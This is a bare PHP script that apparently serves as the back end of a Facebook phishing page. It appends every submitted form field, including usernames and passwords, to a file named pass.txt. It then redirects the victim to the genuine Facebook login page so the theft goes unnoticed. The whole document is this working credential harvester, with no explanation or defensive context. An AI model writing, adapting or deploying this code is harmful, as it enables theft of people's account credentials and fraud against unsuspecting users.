&lt;?php
header("Location: http://www.facebook.com/login.php");
$handle = fopen("pass.txt", "a");
foreach($_POST as $variable =&gt; $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?&gt;